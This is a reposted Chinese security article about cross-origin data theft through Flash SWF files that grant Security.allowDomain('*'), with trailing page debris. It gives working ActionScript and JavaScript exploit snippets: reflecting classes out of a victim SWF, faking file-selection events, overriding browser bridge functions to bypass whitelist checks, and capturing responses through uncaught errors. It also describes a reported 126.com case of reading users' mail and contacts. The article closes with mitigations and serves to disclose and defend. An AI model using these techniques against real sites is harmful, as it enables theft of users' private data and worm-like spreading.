<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/5732

            0x00 前言


            一直以為該風險早已被重視,但最近無意中發現,仍有不少網站存在該缺陷,其中不乏一些常用的郵箱、社交網站,于是有必要再探討一遍。

            事實上,這本不是什么漏洞,是 Flash 與生俱來的一個正常功能。但由于一些 Web 開發人員了解不夠深入,忽視了該特性,從而埋下安全隱患。

            0x01 原理


            這一切還得從經典的授權操作說起:

            #!javascript
            Security.allowDomain('*')
            

            對于這行代碼,或許都不陌生。盡管知道使用 * 是有一定風險的,但想想自己的 Flash 里并沒有什么高危操作,把我拿去又能怎樣?

            顯然,這還停留在 XSS 的思維上。Flash 和 JS 通信確實存在 XSS 漏洞,但要找到一個能利用的 swf 文件并不容易:既要讀取環境參數,又要回調給 JS,還得確保自動運行。

            因此,一些開發人員以為只要不與 JS 通信,就高枕無憂了。同時為了圖方便,直接給 swf 授權了 *,省去一大堆信任列表。

            事實上,Flash 被網頁嵌套僅僅是其中一種而已,更普遍的,則是 swf 之間的嵌套。然而無論何種方式,都是通過 Security.allowDomain 進行授權的 —— 這意味著,一個 * 不僅允許被第三方網頁調用,同時還包括了其他任意 swf!

            被網頁嵌套,或許難以找到利用價值。但被自己的同類嵌套,可用之處就大幅增加了。因為它們都是 Flash,位于同一個運行時里,相互之間存在著密切的關聯。

            我們如何將這種關聯,進行充分利用呢?

            0x02 利用


            關聯容器

            在 Flash 里,舞臺(stage)是這個世界的根基。無論加載多少個 swf,舞臺始終只有一個。任何元素(DisplayObject)必須添加到舞臺、或其子容器下,才能展示和交互。

            因此,不同 swf 創建的元素,都是通過同一個舞臺展示的。它們能感知相互的存在,只是受到同源策略的限制,未必能相互操作。

            然而,一旦某個 swf 主動開放權限,那么它的元素就不再受到保護,能被任意 swf 訪問了!

            聽起來似乎不是很嚴重。我創建的界面元素,又有何訪問價值?也就獲取一些坐標、顏色等信息而已。

            偷窺元素的自身屬性,或許并沒什么意義。但并非所有的元素,都是為了純粹展示的 —— 有時為了擴展功能,繼承了元素類的特征,在此之上實現額外的功能。

            最典型的,就是每個 swf 的主類:它們都繼承于 Sprite,即使程序里沒用到任何界面相關的。

            有這樣擴展元素存在,我們就可以訪問那些額外的功能了。

            開始我們的第一個案例。某個 swf 的主類在 Sprite 的基礎上,擴展了網絡加載的功能:

            #!javascript
            // vul.swf
            public class Vul extends Sprite {
            
                public var urlLoader:URLLoader = new URLLoader();
            
                public function download(url:String) : void {
                    urlLoader.load(new URLRequest(url));
                    ...
                }
            
                public function Vul() {
                    Security.allowDomain('*');
                    ...
                }
                ...
            }
            

            通過第三方 swf,我們將其加載進來。由于 Vul 繼承了 Sprite,因此擁有了元素的基因,我們可以從容器中找到它。

            同時它也是主類,默認會被添加到 Loader 這個加載容器里。

            #!javascript
            // exp.swf
            var loader:Loader = new Loader();
            loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
                var main:* = DisplayObjectContainer(loader).getChildAt(0);
            
                trace(main);    // [object Vul]
            });
            loader.load(new URLRequest('//swf-site/vul.swf'));
            

            因為 Loader 是子 swf 的默認容器,所以其中第一個元素顯然就是子 swf 的主類:Vul。

            由于 Vul 定義了一個叫 download 的公開方法,并且授權了所有的域名,因此在第三方 exp.swf 里,自然也能調用它:

            #!javascript
            main.download('//swf-site/data');
            

            同時 Vul 中的 urlLoader 也是一個公開暴露的成員變量,同樣可被外部訪問到,并對其添加數據接收事件:

            #!javascript
            var ld:URLLoader = main.urlLoader;
            ld.addEventListener('complete', function(e:Event) : void {
                trace(ld.data);
            });
            

            盡管這個 download 方法是由第三方 exp.swf 發起的,但最終執行 URLLoaderload 方法時,上下文位于 vul.swf 里,因此這個請求仍屬于 swf-site 的源。

            于是攻擊者從任意位置,跨站訪問 swf-site 下的數據了。

            更糟的是,Flash 的跨源請求可通過 crossdomain.xml 來授權。如果某個站點允許 swf-site,那么它也成了受害者。

            如果用戶正處于登錄狀態,攻擊者悄悄訪問帶有個人信息的頁面,用戶的隱私數據可能就被泄露了。攻擊者甚至還可模擬用戶請求,將惡意鏈接發送給其他好友,導致蠕蟲傳播。

            ActionScript 雖然是強類型的,但只是開發時的約束,在運行時仍和 JavaScript 一樣,可動態訪問屬性。

            類反射

            通過容器這個橋梁,我們可訪問到子 swf 中的對象。但前提條件仍過于理想,現實中能利用的并不多。

            如果目標對象不是一個元素,也沒有和公開的對象相關聯,甚至根本就沒有被實例化,那是否就無法獲取到了?

            做過頁游開發的都試過,將一些后期使用的素材打包在獨立的 swf 里,需要時再加載回來從中提取。目標 swf 僅僅是一個資源包,其中沒有任何腳本,那是如何參數提取的?

            事實上,整個過程無需子 swf 參與。所謂的『提取』,其實就是 Flash 中的反射機制。通過反射,我們即可隔空取物,直接從目標 swf 中取出我們想要的類。

            因此我們只需從目標 swf 里,找到一個使用了網絡接口類,即可嘗試為我們效力了。

            開始我們的第二個案例。這是某電商網站 CDN 上的一個廣告活動 swf,反編譯后發現,其中一個類里封裝了簡單的網絡操作:

            #!javascript
            // vul.swf
            public class Tool {
                public function getUrlData(url:String, cb:Function) : void {
                    var ld:URLLoader = new URLLoader();
                    ld.load(new URLRequest(url));
                    ld.addEventListener('complete', function(e:Event) : void {
                        cb(ld.data);
                    });
                    ...
                }
                ...
            

            在正常情況下,需一定的交互才會創建這個類。但反射,可以讓我們避開這些條件,提取出來直接使用:

            #!javascript
            // exp.swf
            var loader:Loader = new Loader();
            loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
                var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
                var obj:* = new cls;
            
                obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
                    trace(d);
                });
            });
            loader.load(new URLRequest('//swf-site/vul.swf'));
            

            由于 victim-site/crossdomain.xml 允許 swf-site 訪問,于是 vul.swf 在不經意間,就充當了隱私泄露的傀儡。

            攻擊者擁有了 victim-site 的訪問權,即可跨站讀取頁面數據,訪問用戶的個人信息了。

            由于大多 Web 開發者對 Flash 的安全仍局限于 XSS 之上,從而忽視了這類風險。即使在如今,網絡上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大網站也紛紛中招。

            當然,即使有反射這樣強大的武器,也并非所有的 swf 都是可以利用的。顯然,要符合以下幾點才可以:

            第一條:這就不用說了,反射的前提也是需要對方授權的。

            第二條:理想情況下,可直接調用反射類中提供的加載方法。但現實中未必都是 public 的,這時就無法直接調用了。只能分析代碼邏輯,看能不能通過公開的方法,構造條件使得流程走到請求發送的那一步。同時 url 參數也必須可控,否則也就沒意義了。

            第三條:如果只能將請求發送出去,卻不能拿到返回的內容,同樣也是沒有意義的。

            也許你會說,為什么不直接反射出目標 swf 中的 URLLoader 類,那不就可以直接使用了嗎。然而事實上,光有類是沒用的,Flash 并不關心這個類來自哪個 swf,而是看執行 URLLoader::load 時,當前位于哪個 swf。如果在自己的 swf 里調用 load,那么請求仍屬于自己的源。

            同時,AS3 里已沒有 eval 函數了。唯一能讓數據變指令的,就是 Loader::loadBytes,但這個方法也有類似的判斷。

            因此我們還是得通過目標 swf 里的已有的功能,進行利用。

            0x03 案例


            這里分享一個現實中的案例,之前已上報并修復了的。

            這是 126.com 下的一個 swf,位于 http://mail.126.com/js6/h/flashRequest.swf

            反編譯后可發現,主類初始化時就開啟了 * 的授權,因此整個 swf 中的類即可隨意使用了!

            同時,其中一個叫 FlashRequest 的類,封裝了常用的網絡操作,并且關鍵方法都是 public 的:

            我們將其反射出來,根據其規范調用,即可發起跨源請求了!

            由于網易不少站點的 crossdomain.xml 都授權了 126.com,因此可暗中查看已登錄用戶的 163/126 郵件了:

            甚至還可以讀取用戶的通信錄,將惡意鏈接傳播給更多的用戶!

            0x04 進階


            借助爬蟲和工具,我們可以找出不少可輕易利用的 swf 文件。不過本著研究的目的,我們繼續探討一些需仔細分析才能利用的案例。

            進階 No.1 —— 繞過路徑檢測

            當然也不是所有的開發人員,都是毫不思索的使用 Security.allowDomain('*') 的。

            一些有安全意識的,即使用它也會考慮下當前環境是否正常。例如某個郵箱的 swf 初始化流程:

            #!javascript
            // vul-1.swf
            public function Main() {
                var host:String = ExternalInterface.call('function(){return window.location.host}');
            
                if host not match white-list
                    return
            
                Security.allowDomain('*');
                ...
            

            它會在授權之前,對嵌套的頁面進行判斷:如果不在白名單列表里,那就直接退出。

            由于白名單的匹配邏輯很簡單,也找不出什么瑕疵,于是只能將目光轉移到 ExternalInterface 上。為什么要使用 JS 來獲取路徑?

            因為 Flash 只提供當前 swf 的路徑,并不知道自己是被誰嵌套的,于是只能用這種曲線救國的辦法了。

            不過上了 JS 的賊船,自然就躲不過厄運了。有數不清的前端黑魔法正等著躍躍欲試。Flash 要和各種千奇百怪的瀏覽器通信,顯然需要一套消息協議,以及一個 JS 版的中間橋梁,用以支撐。了解 Flash XSS 的應該都不陌生。

            在這個橋梁里,其中有一個叫 __flash__toXML 的函數,負責將 JS 執行后的結果,封裝成消息協議返回給 Flash。如果能搞定它,那一切就好辦了。

            顯然這個函數默認是不存在的,是載入了 Flash 之后才注冊進來的。既然是一個全局函數,頁面中的 JS 也能重定義它:

            #!javascript
            // exp-1.js
            function handler(str) {
                console.log(str);
                return '<string>hi,jack</string>';
            }
            setInterval(function() {
                var rawFn = window.__flash__toXML;
                if (rawFn && rawFn != handler) {
                    window.__flash__toXML = handler;
                }
            }, 1);
            

            通過定時器不斷監控,一旦出現就將其重定義。于是用 ExternalInterface.call 無論執行什么代碼,都可以隨意返回內容了!

            為了消除定時器的延遲誤差,我們先在自己的 swf 里,隨便調用下 ExternalInterface.call 進行預熱,讓 __flash__toXML 提前注入。之后子 swf 使用時,已經是被覆蓋的版本了。

            當然,即使不使用覆蓋的方式,我們仍可以控制 __flash__toXML 的返回結果。

            仔細分析下這個函數,其中調用了 __flash__escapeXML

            #!javascript
            function __flash__toXML(value) {
                var type = typeof(value);
                if (type == "string") {
                    return "<string>" + __flash__escapeXML(value) + "</string>";
                ...
            }
            
            function __flash__escapeXML(s) {
                return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
            }
            

            里面有一大堆的實體轉義,但又如何進行利用?

            因為它是調用 replace 進行替換的,然而在萬惡的 JS 里,常用的方法都是可被改寫的!我們可以讓它返回任何想要的值:

            #!javascript
            // exp-1.js
            String.prototype.replace = function() {
                return 'www.test.com';
            };
            

            甚至還可以針對 __flash__escapeXML 的調用,返回特定值:

            #!javascript
            String.prototype.replace = function F() {
                if (F.caller == __flash__escapeXML) {
                    return 'www.test.com';
                }
                ...
            };
            

            于是 ExternalInterface.call 的問題就這樣解決了。人為返回一個白名單里的域名,即可繞過初始化中的檢測,從而順利執行 Security.allowDomain(*)。

            所以,絕不能相信 JS 返回的內容。連標點符號都不能信!

            進階 No.2 —— 構造請求條件

            下面這個案例,是某社交網站的頭像上傳 Flash。

            不像之前那些,都可順利找到公開的網絡接口。這個案例十分苛刻,搜索整個項目,只出現一處 URLLoader,而且還是在 private 方法里。

            #!javascript
            // vul-2.swf
            public class Uploader {
            
                public function Uploader(file:FileReference) {
                    ...
                    file.addEventListener(Event.SELECT, handler);
                }
            
                private function handler(e:Event) : void {
                    var file:FileReference = e.target as FileReference;
            
                    // check filename and data
                    file.name ...
                    file.data ...
            
                    // upload(...)
                }
            
                private function upload(...) : void {
                    var ld:URLLoader = new URLLoader();
                    var req:URLRequest = new URLRequest();
                    req.method = 'POST';
                    req.data = ...;
                    req.url = Param.service_url + '?xxx=' ....
                    ld.load(req);
                }
            }
            

            然而即使要觸發這個方法也非常困難。因為這是一個上傳控件,只有當用戶選擇了文件對話框里的圖片,并通過參數檢驗,才能走到最終的上傳位置。

            唯一可被反射調用的,就是 Uploader 類自身的構造器。同時控制傳入的 FileReference 對象,來構造條件。

            #!javascript
            // exp-2.swf
            var file:FileReference = new FileReference();
            
            var cls:* = ...getDefinition('Uploader');
            var obj:* = new cls(file);
            

            然而 FileReference 不同于一般的對象,它會調出界面。如果中途彈出文件對話框,并讓用戶選擇,那絕對是不現實的。

            不過,彈框和回調只是一個因果關系而已。彈框會產生回調,但回調未必只有彈框才能產生。因為 FileReference 繼承了 EventDispatcher,所以我們可以人為的制造一個事件:

            #!javascript
            file.dispatchEvent(new Event(Event.SELECT));
            

            這樣,就進入文件選中后的回調函數里了。

            由于這一步會校驗文件名、內容等屬性,因此還得事先給這些屬性賦值。然而遺憾的是,這些屬性都是只讀的,根本無法設置。

            等等,為什么會有只讀的屬性?屬性不就是一個成員變量嗎,怎么做到只能讀不可寫?除非是 const,但那是常量,并非只讀屬性。

            原來,所謂的只讀,就是只提供了 getter、但沒有 setter 的屬性。這樣就保證了屬性內部可變,但外部不可寫的特征。

            如果我們能 hook 這個 getter,那就能返回任意值了。然而 AS 里的類默認都是密閉的,不像 JS 那樣靈活,可隨意篡改原型鏈。

            事實上在高級語言里,有著更為優雅的 hook 方式,我們稱作『重寫』。我們創建一個繼承 FileReference 的類,即可重寫那些 getter 了:

            #!javascript
            // exp-2.swf
            class FileReferenceEx extends FileReference {
            
                override public function get name() : String {
                    return 'hello.gif';
                }
                override public function get data() : ByteArray {
                    var bytes:ByteArray = new ByteArray();
                    ...
                    return bytes;
                }
            }
            

            根據著名的『里氏替換原則』,任何基類可以出現的地方,子類也一定可以出現。所以傳入這個 FileReferenceEx 也是可接受的,之后一旦訪問 name 等屬性時,自然就落到我們的 getter 上了。

            #!javascript
            // exp-2.swf
            var file:FileReference = new FileReferenceEx();  // !!!
            ...
            var obj:* = new cls(file);
            

            到此,我們成功模擬了文件選擇的整個流程。

            接著就到關鍵的上傳位置了。慶幸的是,它沒寫死上傳地址,而是從環境變量(loaderInfo.parameters)里讀取。

            說到環境變量,大家首先想到網頁中 Flash 元素的 flashvars 屬性,但其實還有兩個地方可以傳入:

            由于 url query 是固定的,后期無法修改,所以選擇 LoaderContext 來傳遞:

            #!javascript
            // exp-2.swf
            var loader:Loader = new Loader();
            var ctx:LoaderContext = new LoaderContext();
            ctx.parameters = {
                'service_url': 'http://victim-site/user-data#'
            };
            loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);
            

            因為 LoaderContext 里的 parameters 是運行時共享的,這樣就能隨時更改環境變量了:

            #!javascript
            // next request
            ctx.parameters.service_url = 'http://victim-site/user-data-2#';
            

            同時為了不讓多余的參數發送上去,還可以在 URL 末尾放置一個 #,讓后面多余的部分變成 Hash,就不會走流量了。

            盡管這是個很苛刻的案例,但仔細分析還是找出解決辦法的。

            當然,我們目的并不是為了結果,而是其中分析的樂趣:)

            進階 No.3 —— 捕獲返回數據

            當然,光把請求發送出去還是不夠的,如果無法拿到返回的結果,那還是白忙活。

            最理想的情況,就是能傳入回調接口,這樣就可直接獲得數據了。但現實未必都是這般美好,有時我們得自己想辦法取出數據。

            一些簡單的 swf 通常不會封裝一個的網絡請求類,每次使用時都直接寫原生的代碼。這樣,可控的因子就少很多,利用難度就會大幅提升。

            例如這樣的場景,盡管能控制請求地址,但由于沒法拿到 URLLoader,也就無從獲取返回數據了:

            #!javascript
            public function download(url:String) : void {
                var ld:URLLoader = new URLLoader();
                ld.load(new URLRequest(url));
                ld.addEventListener('complete', function(e:Event) : void {
                    // do nothing
                });
            }
            

            但通常不至于啥也不做,多少都會處理下返回結果。這時就得尋找機會了。

            一旦將數據賦值到公開的成員變量里,那么我們就可通過輪詢的方式來獲取了:

            #!javascript
            public var data:*;
            ...
            ld.addEventListener('complete', function(e:Event) : void {
                data = e.data;
            });
            

            或者,將數據存放到了某個元素里,用于顯示:

            #!javascript
            private var textbox:TextField = new TextField();
            ...
            addChild(textbox);
            ...
            ld.addEventListener('complete', function(e:Event) : void {
                textbox.text = e.data;
            });
            

            同樣可以利用文章開頭提到的方法,從父容器里找出相應的元素,定時輪詢其中的內容。

            不過這些都算容易解決的。在一些場合,返回的數據根本不符合預期的格式,因此就無法處理直接報錯了。

            下面是個非常普遍的案例。在接收事件里,將數據進行固定格式的解碼:

            #!javascript
            // vul-3.swf
            import com.adobe.serialization.json.JSON;
            
            ld.addEventListener('complete', function(e:Event) : void {
                var data:* = JSON.decode(e.data);
                ...
            });
            

            因為開發人員已經約定使用 JSON 作為返回格式,所以壓根就沒容錯判斷,直接將數據進行解碼。

            然而我們想要跨站讀取的文件,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在這里了。

            難道就此放棄?都報錯無法往下走了,那還能怎么辦。唯一可行的,就是將錯就錯,往『錯誤』的方向走。

            一個強大的運行時系統,都會提供一些接口,供開發者捕獲全局異常。HTML 里有,Flash 里當然也有,甚至還要強大的多 —— 不僅能夠獲得錯誤相關的信息,甚至還能拿到 throw 出來的那個 Error 對象!

            一般通用的類庫,往往會有健全的參數檢驗。當遇到不合法的參數時,通常會將參數連同錯誤信息,作為異常拋出來。如果某個異常對象里,正好包含了我們想要的敏感數據的話,那就非常美妙了。

            就以 JSON 解碼為例,我們寫個 Demo 驗證一下:

            #!javascript
            var s:String = '<html>\n<div>\n123\n</div>\n</html>';
            JSON.decode(s);
            

            我們嘗試將 HTML 字符傳入 JSON 解碼器,最終被斷在了類庫拋出的異常處:

            異常中的前兩個參數,看起來沒多大意義。但第三個參數,里面究竟藏著是什么?

            不用猜想,這正是我們想要的東西 —— 傳入解碼器的整個字符參數!

            如此,我們就可在全局異常捕獲中,拿到完整的返回數據了:

            #!javascript
            loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
                trace(e.error.text);
            });
            

            驚呆了吧!只要仔細探索,一些看似不可能實現的,其實也能找到解決方案。

            0x05 補救


            如果從代碼層面來修補,短時間內也難以完成。

            大型網站長期以來,積累了相當數量的 swf 文件。有時為了解決版本沖突,甚至在文件名里使用了時間、摘要等隨機數,這類的 swf 當時的源碼,或許早已不再維護了。

            因此,還是得從網站自身來強化。crossdomain.xml 中不再使用的域名就該盡早移除,需要則盡可能縮小子域范圍。畢竟,只要出現一個帶缺陷的 swf 文件,整個站點的安全性就被拉低了。

            事實上,即使通過反射目標 swf 實現的跨站請求,referer 仍為攻擊者的頁面。因此,涉及到敏感數據讀取的操作,驗證一下來源還是很有必要的。

            作為用戶來說,禁用第三方 cookie 實在太有必要了。如今 Safari 已默認禁用,而 Chrome 則仍需手動添加。

            0x06 總結


            最后總結下,本文提到的 3 類權限:

            只要這幾點都滿足,就很有可能被用于跨源的請求。

            也許會覺得 Flash 里坑太多了,根本防不勝防。但事實上這些特征早已存在,只是未被開發者重視而已。以至于各大網站如今仍普遍躺槍。

            當然,信息泄露對每個用戶都是受害者。希望能讓更多的開發者看到,及時修復安全隱患。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线